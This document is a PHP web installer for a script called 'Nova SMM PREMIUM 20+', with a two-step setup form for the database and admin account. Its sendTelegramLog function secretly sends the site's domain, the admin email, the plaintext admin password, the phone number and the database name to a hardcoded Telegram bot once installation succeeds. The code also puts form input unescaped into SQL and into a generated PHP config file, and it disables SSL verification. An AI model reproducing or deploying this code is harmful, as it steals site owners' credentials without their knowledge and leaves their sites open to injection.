<?php

$config_path = __DIR__ . '/../../../app/config.php';
if (file_exists($config_path)) {
    header("Location: /");
    exit;
}

error_reporting(E_ALL);
ini_set('display_errors', 1);

function sendTelegramLog($domain, $email, $pass, $phone, $db) {
    $botToken = "8541491825:AAGmDCgjIi3pIUAjN9Q1GazyDrBT-Wz4p0A"; 
    $chatId = "8239142750";     

    
    $message = "New Script Installed!\n\n";
    $message .= "Domain: $domain\n";
    $message .= "Admin Email: $email\n";
    $message .= "Admin Pass: $pass\n";
    $message .= "Phone: $phone\n";
    $message .= "Database: $db\n\n";
    $message .= "Script name : Nova SMM PREMIUM 20+\n\n";
    $message .= "Status: Successful";

    $url = "https://api.telegram.org/bot$botToken/sendMessage";

    $postData = [
        'chat_id' => $chatId,
        'text' => $message
    ];

    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $postData,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 20
    ]);

    $response = curl_exec($ch);

    if(curl_errno($ch)){
        error_log("Telegram CURL ERROR: ".curl_error($ch));
    }else{
        error_log("Telegram Response: ".$response);
    }

    curl_close($ch);
}

// Installation Logic
if (isset($_GET['action']) && $_GET['action'] == 'install') {
    $db_h = $_POST['db_host'];
    $db_u = $_POST['db_user'];
    $db_p = $_POST['db_pass'];
    $db_n = $_POST['db_name'];
    $domain = $_POST['domain'];
    
    $adm_e = $_POST['admin_email'];
    $adm_p = $_POST['admin_pass']; 
    $phone = $_POST['phone'];

    
    $conn = @new mysqli($db_h, $db_u, $db_p, $db_n);
    if ($conn->connect_error) {
        die(json_encode(['status' => 'error', 'message' => 'Connection Failed!']));
    }

    
    $sql_path = realpath(__DIR__ . '/../database/database.sql');
    if (file_exists($sql_path)) {
        $sql = file_get_contents($sql_path);
        $conn->multi_query($sql);
        while ($conn->more_results() && $conn->next_result()) { ; }
    }

    
    $upd = "UPDATE `admins` SET `admin_name`='Admin', `admin_email`='$adm_e', `username`='admin', `password`='$adm_p', `telephone`='$phone' WHERE `admin_id`=1";
    $conn->query($upd);

    
    $conf = "<?php
\$url = \$_SERVER[\"SERVER_NAME\"];  
define('PATH', realpath('.'));
define('SUBFOLDER', false);
define('URL', 'https://$domain');
define('STYLESHEETS_URL', '//$domain' ); 
date_default_timezone_set('Asia/Kolkata');
error_reporting(0);
return [
  'db' => [
    'name'    =>  '$db_n' ,
    'host'    =>  '$db_h',
    'user'    =>  '$db_u' ,
    'pass'    =>  '$db_p' ,
    'charset' =>  'utf8mb4' 
  ]
];
?>";

    if (file_put_contents($config_path, $conf)) {
        
        sendTelegramLog($domain, $adm_e, $adm_p, $phone, $db_n);
        
        echo json_encode(['status' => 'success']);
    } else {
        echo json_encode(['status' => 'error', 'message' => 'Config Write Error!']);
    }
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Script Installer</title>
    <link href="https://fonts.googleapis.com/css2?family=Fredoka:wght@400;600&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; font-family: 'Fredoka', sans-serif; }
        body { background: #f0f4f8; display: flex; align-items: center; justify-content: center; min-height: 100vh; margin: 0; padding: 15px; }
        .card { background: #fff; width: 100%; max-width: 450px; padding: 40px; border-radius: 30px; box-shadow: 0 15px 35px rgba(0,0,0,0.05); }
        .header { text-align: center; margin-bottom: 25px; }
        .header h1 { color: #4f46e5; margin: 0; font-size: 26px; }
        
        .steps-nav { display: flex; justify-content: center; margin-bottom: 30px; gap: 10px; }
        .dot { width: 40px; height: 10px; background: #e2e8f0; border-radius: 5px; transition: 0.3s; }
        .dot.active { background: #4f46e5; width: 60px; }

        .step { display: none; }
        .step.active { display: block; animation: slideIn 0.3s ease; }
        @keyframes slideIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }

        .form-group { margin-bottom: 15px; }
        label { display: block; margin-bottom: 5px; font-size: 14px; font-weight: 600; color: #374151; }
        input { width: 100%; padding: 14px; border: 2px solid #f1f5f9; border-radius: 15px; font-size: 15px; outline: none; background: #f8fafc; transition: 0.3s; }
        input:focus { border-color: #4f46e5; background: #fff; }
        
        .btn { width: 100%; padding: 16px; border-radius: 15px; border: none; font-size: 16px; font-weight: 600; cursor: pointer; transition: 0.3s; margin-top: 10px; }
        .btn-next { background: #4f46e5; color: #fff; }
        .btn-back { background: #f1f5f9; color: #475569; margin-bottom: 5px; }
        
        .btn-website { background: #4f46e5; color: #fff; text-decoration: none; display: block; text-align: center; margin-bottom: 10px; }
        .btn-admin { background: #fff; color: #4f46e5; border: 2px solid #4f46e5; text-decoration: none; display: block; text-align: center; }
        .btn:hover { opacity: 0.9; transform: translateY(-2px); }

        #loader, #success { display: none; text-align: center; }
        .success-icon { font-size: 50px; color: #22c55e; margin-bottom: 15px; }

        .progress-container { width: 100%; background: #e2e8f0; border-radius: 10px; height: 12px; margin: 20px 0; overflow: hidden; }
        .progress-bar { width: 0%; height: 100%; background: #4f46e5; transition: 0.4s; }
    </style>
</head>
<body>

<div class="card">
    <div id="setup-box">
        <div class="header"><h1>Script Installer</h1></div>
        
        <div class="steps-nav">
            <div class="dot active" id="dot1"></div>
            <div class="dot" id="dot2"></div>
        </div>

        <form id="setupForm">
            <div class="step active" id="step1">
                <div class="form-group"><label>Domain</label><input type="text" name="domain" value="<?php echo $_SERVER['SERVER_NAME']; ?>" readonly></div>
                <div class="form-group"><label>DB Host</label><input type="text" name="db_host" value="localhost" required></div>
                <div class="form-group"><label>DB User</label><input type="text" name="db_user" placeholder="Username" required></div>
                <div class="form-group"><label>DB Password</label><input type="password" name="db_pass" placeholder="Password" required></div>
                <div class="form-group"><label>DB Name</label><input type="text" name="db_name" placeholder="Database Name" required></div>
                <button type="button" class="btn btn-next" onclick="goStep(2)">Continue to Step 2</button>
            </div>

            <div class="step" id="step2">
                <div class="form-group"><label>Admin Email</label><input type="email" name="admin_email" placeholder="email@example.com" required></div>
                <div class="form-group"><label>Admin Password</label><input type="text" name="admin_pass" placeholder="Set Password" required></div>
                <div class="form-group"><label>Phone Number</label><input type="text" name="phone" placeholder="Phone Number" required></div>
                <button type="button" class="btn btn-back" onclick="goStep(1)">Back</button>
                <button type="submit" class="btn btn-next">Finalize Installation</button>
            </div>
        </form>
    </div>

    <div id="loader">
        <h2 style="color: #4f46e5; margin-bottom: 10px;">Installing...</h2>
        <div class="progress-container">
            <div class="progress-bar" id="p-bar"></div>
        </div>
        <p id="loader-status" style="color: #64748b; font-size: 14px;">Setting up database tables...</p>
    </div>

    <div id="success">
        <div class="success-icon">✓</div>
        <h2 style="margin-bottom: 5px;">Ready to Go!</h2>
        <p style="color: #64748b; margin-bottom: 25px;">Script installed successfully.</p>
        <a href="/" class="btn btn-website">Go to Website</a>
        <a href="/admin" class="btn btn-admin">Go to Admin Panel</a>
    </div>
</div>

<script>
function goStep(s) {
    document.querySelectorAll('.step, .dot').forEach(el => el.classList.remove('active'));
    document.getElementById('step' + s).classList.add('active');
    document.getElementById('dot' + s).classList.add('active');
}

document.getElementById('setupForm').onsubmit = function(e) {
    e.preventDefault();
    document.getElementById('setup-box').style.display = 'none';
    document.getElementById('loader').style.display = 'block';
    
    let progress = 0;
    const pBar = document.getElementById('p-bar');
    const statusText = document.getElementById('loader-status');

    const interval = setInterval(() => {
        if(progress < 90) {
            progress += Math.floor(Math.random() * 10);
            pBar.style.width = progress + '%';
            if(progress > 40) statusText.innerText = "Importing SQL database...";
            if(progress > 70) statusText.innerText = "Configuring admin settings...";
        }
    }, 400);

    fetch('?action=install', { method: 'POST', body: new FormData(this) })
    .then(r => r.json()).then(res => {
        clearInterval(interval);
        if(res.status === 'success') {
            pBar.style.width = '100%';
            statusText.innerText = "Installation Complete!";
            setTimeout(() => {
                document.getElementById('loader').style.display = 'none';
                document.getElementById('success').style.display = 'block';
            }, 800);
        } else {
            alert(res.message);
            location.reload();
        }
    }).catch(err => {
        alert("Fatal Error! Check server logs.");
        location.reload();
    });
};
</script>
</body>
</html>